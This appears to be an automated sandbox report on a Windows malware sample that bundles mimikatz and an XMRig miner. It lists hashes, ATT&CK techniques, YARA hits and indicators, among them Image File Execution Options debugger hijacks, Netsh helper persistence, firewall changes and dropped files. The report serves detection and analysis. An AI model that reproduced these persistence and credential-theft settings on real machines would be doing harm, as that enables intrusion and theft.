mimikatz | e4534a7fd4b5402d2c55adab1aefde74f7202d78b4f503608b7104441aa0ea28

Analysis

max time kernel
150s
max time network
150s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
24-08-2024 07:01

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General

Target

2024-08-24_6ad61c8770ccb8be09cae599d1b6eb13_hacktools_icedid_mimikatz.exe
Size

8.7MB
MD5

6ad61c8770ccb8be09cae599d1b6eb13
SHA1

ad0b1c82827f4e623d70fd84c90bf08d3a9bcc39
SHA256

e4534a7fd4b5402d2c55adab1aefde74f7202d78b4f503608b7104441aa0ea28
SHA512

3f06d447a9ed05077ac135feb1195bce546b6662929fbb452a472f88d823afd714b0a1fc1d37e99dd6d4a39ca9f1ebd6efb6bd543fef8011245dc64679344581
SSDEEP

196608:MxygkmknGzwHdOgEPHd9BRX/nivPlTXTYo:Y5jz0E51/iv1

Score

10^/10

mimikatz xmrig credential_access discovery evasion execution miner persistence privilege_escalation upx

Malware Config

Signatures

Disables service(s) 3 TTPs
evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
mimikatz

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 2756 created 344	2756	iyapfhp.exe	17

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Contacts a large (15915) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
OS Credential Dumping: LSASS Memory 1 TTPs
Malicious access to Credentials History.
credential_access

LSASS Memory
T1003.001

XMRig Miner payload 10 IoCs

miner

resource	yara_rule
behavioral1/memory/2096-190-0x000000013F9C0000-0x000000013FAE0000-memory.dmp	xmrig
behavioral1/memory/2096-199-0x000000013F9C0000-0x000000013FAE0000-memory.dmp	xmrig
behavioral1/memory/2096-231-0x000000013F9C0000-0x000000013FAE0000-memory.dmp	xmrig
behavioral1/memory/2096-232-0x000000013F9C0000-0x000000013FAE0000-memory.dmp	xmrig
behavioral1/memory/2096-233-0x000000013F9C0000-0x000000013FAE0000-memory.dmp	xmrig
behavioral1/memory/2096-234-0x000000013F9C0000-0x000000013FAE0000-memory.dmp	xmrig
behavioral1/memory/2096-246-0x000000013F9C0000-0x000000013FAE0000-memory.dmp	xmrig
behavioral1/memory/2096-250-0x000000013F9C0000-0x000000013FAE0000-memory.dmp	xmrig
behavioral1/memory/2096-252-0x000000013F9C0000-0x000000013FAE0000-memory.dmp	xmrig
behavioral1/memory/2096-254-0x000000013F9C0000-0x000000013FAE0000-memory.dmp	xmrig

mimikatz is an open source tool to dump credentials on Windows 6 IoCs

resource	yara_rule
behavioral1/memory/2352-0-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral1/memory/2352-4-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral1/files/0x0008000000016d53-5.dat	mimikatz
behavioral1/memory/2020-9-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral1/memory/1608-138-0x000000013FE60000-0x000000013FF4E000-memory.dmp	mimikatz
behavioral1/memory/2756-166-0x0000000002D10000-0x0000000002E30000-memory.dmp	mimikatz

Drops file in Drivers directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	iyapfhp.exe
File created	C:\Windows\system32\drivers\npf.sys	wpcap.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 40 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe	iyapfhp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe	iyapfhp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	iyapfhp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe	iyapfhp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe	iyapfhp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	iyapfhp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	iyapfhp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe	iyapfhp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe	iyapfhp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	iyapfhp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	iyapfhp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	iyapfhp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	iyapfhp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	iyapfhp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe	iyapfhp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	iyapfhp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe	iyapfhp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe	iyapfhp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe	iyapfhp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe	iyapfhp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	iyapfhp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	iyapfhp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe	iyapfhp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe	iyapfhp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe	iyapfhp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	iyapfhp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	iyapfhp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	iyapfhp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe	iyapfhp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe	iyapfhp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe	iyapfhp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	iyapfhp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe	iyapfhp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	iyapfhp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe	iyapfhp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	iyapfhp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe	iyapfhp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	iyapfhp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	iyapfhp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	iyapfhp.exe

Modifies Windows Firewall 2 TTPs 2 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
2500	netsh.exe
900	netsh.exe

Executes dropped EXE 19 IoCs

pid	Process
2020	iyapfhp.exe
2756	iyapfhp.exe
1756	wpcap.exe
1052	eizbestpy.exe
1608	vfshost.exe
1376	xohudmc.exe
2280	huzbeq.exe
2284	bieqttlep.exe
2096	yetdzn.exe
2020	bieqttlep.exe
2276	bieqttlep.exe
2364	bieqttlep.exe
2780	bieqttlep.exe
1372	iyapfhp.exe
1168	bieqttlep.exe
1664	bieqttlep.exe
2244	bieqttlep.exe
2392	yznluuqri.exe
932	iyapfhp.exe

Loads dropped DLL 25 IoCs

pid	Process
2532	cmd.exe
2532	cmd.exe
1800	cmd.exe
1756	wpcap.exe
1756	wpcap.exe
1756	wpcap.exe
1756	wpcap.exe
1756	wpcap.exe
1216	cmd.exe
1052	eizbestpy.exe
1052	eizbestpy.exe
1564	cmd.exe
1564	cmd.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2756	iyapfhp.exe
2356	cmd.exe

UPX packed file 33 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x000500000001a4b4-132.dat	upx
behavioral1/memory/1608-136-0x000000013FE60000-0x000000013FF4E000-memory.dmp	upx
behavioral1/memory/1608-138-0x000000013FE60000-0x000000013FF4E000-memory.dmp	upx
behavioral1/files/0x000500000001a4c9-158.dat	upx
behavioral1/memory/2756-159-0x00000000021A0000-0x00000000021FB000-memory.dmp	upx
behavioral1/files/0x000500000001a4cd-164.dat	upx
behavioral1/memory/2096-168-0x000000013F9C0000-0x000000013FAE0000-memory.dmp	upx
behavioral1/memory/2756-166-0x0000000002D10000-0x0000000002E30000-memory.dmp	upx
behavioral1/memory/2284-171-0x000000013FB00000-0x000000013FB5B000-memory.dmp	upx
behavioral1/memory/2756-176-0x0000000001A60000-0x0000000001ABB000-memory.dmp	upx
behavioral1/memory/2020-179-0x000000013F7A0000-0x000000013F7FB000-memory.dmp	upx
behavioral1/memory/2756-182-0x0000000001A60000-0x0000000001ABB000-memory.dmp	upx
behavioral1/memory/2276-187-0x000000013F6C0000-0x000000013F71B000-memory.dmp	upx
behavioral1/memory/2096-190-0x000000013F9C0000-0x000000013FAE0000-memory.dmp	upx
behavioral1/memory/2756-192-0x0000000001A60000-0x0000000001ABB000-memory.dmp	upx
behavioral1/memory/2364-196-0x000000013F950000-0x000000013F9AB000-memory.dmp	upx
behavioral1/memory/2756-200-0x0000000001A60000-0x0000000001ABB000-memory.dmp	upx
behavioral1/memory/2096-199-0x000000013F9C0000-0x000000013FAE0000-memory.dmp	upx
behavioral1/memory/2780-204-0x000000013F170000-0x000000013F1CB000-memory.dmp	upx
behavioral1/memory/2756-212-0x0000000001A60000-0x0000000001ABB000-memory.dmp	upx
behavioral1/memory/1168-215-0x000000013FCF0000-0x000000013FD4B000-memory.dmp	upx
behavioral1/memory/2756-218-0x0000000001100000-0x000000000115B000-memory.dmp	upx
behavioral1/memory/1664-222-0x000000013F930000-0x000000013F98B000-memory.dmp	upx
behavioral1/memory/2244-227-0x000000013F490000-0x000000013F4EB000-memory.dmp	upx
behavioral1/memory/2244-229-0x000000013F490000-0x000000013F4EB000-memory.dmp	upx
behavioral1/memory/2096-231-0x000000013F9C0000-0x000000013FAE0000-memory.dmp	upx
behavioral1/memory/2096-232-0x000000013F9C0000-0x000000013FAE0000-memory.dmp	upx
behavioral1/memory/2096-233-0x000000013F9C0000-0x000000013FAE0000-memory.dmp	upx
behavioral1/memory/2096-234-0x000000013F9C0000-0x000000013FAE0000-memory.dmp	upx
behavioral1/memory/2096-246-0x000000013F9C0000-0x000000013FAE0000-memory.dmp	upx
behavioral1/memory/2096-250-0x000000013F9C0000-0x000000013FAE0000-memory.dmp	upx
behavioral1/memory/2096-252-0x000000013F9C0000-0x000000013FAE0000-memory.dmp	upx
behavioral1/memory/2096-254-0x000000013F9C0000-0x000000013FAE0000-memory.dmp	upx

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
18	ifconfig.me
19	ifconfig.me

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135
Creates a Windows Service
persistence

Drops file in System32 directory 12 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	iyapfhp.exe
File created	C:\Windows\SysWOW64\pthreadVC.dll	wpcap.exe
File created	C:\Windows\SysWOW64\wpcap.dll	wpcap.exe
File created	C:\Windows\SysWOW64\Packet.dll	wpcap.exe
File created	C:\Windows\system32\Packet.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	iyapfhp.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\DDAB91A53CE5876D153BF0B6B3BA7DCE	iyapfhp.exe
File created	C:\Windows\system32\wpcap.dll	wpcap.exe
File created	C:\Windows\SysWOW64\huzbeq.exe	xohudmc.exe
File opened for modification	C:\Windows\SysWOW64\huzbeq.exe	xohudmc.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	iyapfhp.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\DDAB91A53CE5876D153BF0B6B3BA7DCE	iyapfhp.exe

Drops file in Program Files directory 3 IoCs

description	ioc	Process
File created	C:\Program Files\WinPcap\rpcapd.exe	wpcap.exe
File created	C:\Program Files\WinPcap\LICENSE	wpcap.exe
File created	C:\Program Files\WinPcap\uninstall.exe	wpcap.exe

Drops file in Windows directory 60 IoCs

description	ioc	Process
File created	C:\Windows\fvaftrpep\upbdrjv\swrpwe.exe	iyapfhp.exe
File created	C:\Windows\fvaftrpep\fiasmtlvz\yznluuqri.exe	iyapfhp.exe
File created	C:\Windows\fvaftrpep\UnattendGC\specials\ssleay32.dll	iyapfhp.exe
File created	C:\Windows\fvaftrpep\UnattendGC\specials\ucl.dll	iyapfhp.exe
File created	C:\Windows\fvaftrpep\UnattendGC\docmicfg.xml	iyapfhp.exe
File created	C:\Windows\fvaftrpep\UnattendGC\Shellcode.ini	iyapfhp.exe
File opened for modification	C:\Windows\kiprrupu\iyapfhp.exe	2024-08-24_6ad61c8770ccb8be09cae599d1b6eb13_hacktools_icedid_mimikatz.exe
File created	C:\Windows\fvaftrpep\UnattendGC\specials\trfo-2.dll	iyapfhp.exe
File created	C:\Windows\fvaftrpep\UnattendGC\specials\spoolsrv.exe	iyapfhp.exe
File created	C:\Windows\fvaftrpep\UnattendGC\vimpcsvc.xml	iyapfhp.exe
File opened for modification	C:\Windows\kiprrupu\spoolsrv.xml	iyapfhp.exe
File opened for modification	C:\Windows\kiprrupu\schoedcl.xml	iyapfhp.exe
File opened for modification	C:\Windows\fvaftrpep\fiasmtlvz\Result.txt	yznluuqri.exe
File created	C:\Windows\kiprrupu\iyapfhp.exe	2024-08-24_6ad61c8770ccb8be09cae599d1b6eb13_hacktools_icedid_mimikatz.exe
File created	C:\Windows\fvaftrpep\UnattendGC\specials\libeay32.dll	iyapfhp.exe
File created	C:\Windows\fvaftrpep\UnattendGC\specials\schoedcl.xml	iyapfhp.exe
File created	C:\Windows\kiprrupu\svschost.xml	iyapfhp.exe
File created	C:\Windows\ime\iyapfhp.exe	iyapfhp.exe
File created	C:\Windows\fvaftrpep\UnattendGC\AppCapture64.dll	iyapfhp.exe
File created	C:\Windows\fvaftrpep\UnattendGC\specials\spoolsrv.xml	iyapfhp.exe
File created	C:\Windows\fvaftrpep\UnattendGC\AppCapture32.dll	iyapfhp.exe
File created	C:\Windows\fvaftrpep\Corporate\mimidrv.sys	iyapfhp.exe
File created	C:\Windows\fvaftrpep\fiasmtlvz\Packet.dll	iyapfhp.exe
File opened for modification	C:\Windows\fvaftrpep\fiasmtlvz\Packet.dll	iyapfhp.exe
File created	C:\Windows\fvaftrpep\UnattendGC\specials\crli-0.dll	iyapfhp.exe
File created	C:\Windows\fvaftrpep\UnattendGC\schoedcl.xml	iyapfhp.exe
File created	C:\Windows\fvaftrpep\UnattendGC\specials\svschost.xml	iyapfhp.exe
File created	C:\Windows\fvaftrpep\UnattendGC\specials\tibe-2.dll	iyapfhp.exe
File created	C:\Windows\fvaftrpep\UnattendGC\specials\xdvl-0.dll	iyapfhp.exe
File created	C:\Windows\fvaftrpep\UnattendGC\specials\zlib1.dll	iyapfhp.exe
File created	C:\Windows\kiprrupu\docmicfg.xml	iyapfhp.exe
File opened for modification	C:\Windows\kiprrupu\docmicfg.xml	iyapfhp.exe
File created	C:\Windows\fvaftrpep\fiasmtlvz\eizbestpy.exe	iyapfhp.exe
File created	C:\Windows\fvaftrpep\UnattendGC\specials\cnli-1.dll	iyapfhp.exe
File created	C:\Windows\fvaftrpep\UnattendGC\specials\schoedcl.exe	iyapfhp.exe
File created	C:\Windows\fvaftrpep\UnattendGC\specials\docmicfg.xml	iyapfhp.exe
File created	C:\Windows\fvaftrpep\fiasmtlvz\wpcap.dll	iyapfhp.exe
File opened for modification	C:\Windows\kiprrupu\svschost.xml	iyapfhp.exe
File created	C:\Windows\fvaftrpep\Corporate\vfshost.exe	iyapfhp.exe
File opened for modification	C:\Windows\fvaftrpep\Corporate\log.txt	cmd.exe
File created	C:\Windows\fvaftrpep\UnattendGC\specials\posh-0.dll	iyapfhp.exe
File created	C:\Windows\fvaftrpep\Corporate\mimilib.dll	iyapfhp.exe
File created	C:\Windows\fvaftrpep\fiasmtlvz\scan.bat	iyapfhp.exe
File created	C:\Windows\kiprrupu\schoedcl.xml	iyapfhp.exe
File created	C:\Windows\fvaftrpep\fiasmtlvz\wpcap.exe	iyapfhp.exe
File created	C:\Windows\fvaftrpep\UnattendGC\specials\exma-1.dll	iyapfhp.exe
File created	C:\Windows\fvaftrpep\UnattendGC\specials\vimpcsvc.exe	iyapfhp.exe
File created	C:\Windows\fvaftrpep\UnattendGC\specials\vimpcsvc.xml	iyapfhp.exe
File created	C:\Windows\kiprrupu\spoolsrv.xml	iyapfhp.exe
File created	C:\Windows\fvaftrpep\UnattendGC\specials\trch-1.dll	iyapfhp.exe
File created	C:\Windows\fvaftrpep\UnattendGC\specials\docmicfg.exe	iyapfhp.exe
File opened for modification	C:\Windows\kiprrupu\vimpcsvc.xml	iyapfhp.exe
File created	C:\Windows\fvaftrpep\fiasmtlvz\ip.txt	iyapfhp.exe
File created	C:\Windows\fvaftrpep\UnattendGC\specials\tucl-1.dll	iyapfhp.exe
File created	C:\Windows\fvaftrpep\UnattendGC\specials\svschost.exe	iyapfhp.exe
File created	C:\Windows\fvaftrpep\UnattendGC\svschost.xml	iyapfhp.exe
File created	C:\Windows\fvaftrpep\UnattendGC\spoolsrv.xml	iyapfhp.exe
File created	C:\Windows\kiprrupu\vimpcsvc.xml	iyapfhp.exe
File created	C:\Windows\fvaftrpep\UnattendGC\specials\coli-0.dll	iyapfhp.exe
File created	C:\Windows\fvaftrpep\UnattendGC\specials\libxml2.dll	iyapfhp.exe

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
380	sc.exe
2468	sc.exe
1944	sc.exe
832	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 51 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xohudmc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
